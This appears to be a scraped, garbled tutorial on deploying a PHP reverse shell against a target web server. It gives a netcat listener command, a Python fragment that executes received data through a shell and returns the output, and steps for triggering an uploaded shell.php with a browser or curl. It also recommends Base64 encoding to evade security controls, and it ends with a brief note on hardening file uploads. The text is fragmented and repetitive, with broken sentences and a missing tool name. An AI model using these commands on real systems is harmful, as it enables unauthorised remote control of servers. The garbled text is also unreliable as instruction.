Before the script is triggered on the target, you must have a "listener" waiting on your local machine to catch the incoming connection. is the standard tool for this. Run the following command in your terminal: nc -lvnp 4444 Use code with caution. -l : Listen mode. -v : Verbose output. -n : Do not resolve DNS. -p 4444 : The port number you’ll use. 2. The Payload (The PHP Script) There are two common ways to create a PHP reverse shell: Option A: The One-Liner
while True: data = conn.recv(1024).decode('utf-8') if not data: break print(f"Received: data") response = subprocess.check_output(data, shell=True) conn.send(response) reverse shell php install
Then background the shell (Ctrl+Z) and run: Before the script is triggered on the target,
Navigate to the URL where the file is hosted: http://target-website.com -l : Listen mode
Sometimes a direct one-liner triggers security controls. Base64 encoding can help:
Never trust user-supplied filenames. Rename uploaded files, validate MIME types, and ensure the upload directory does not have "Execute" permissions.
curl http://target.com/path/to/shell.php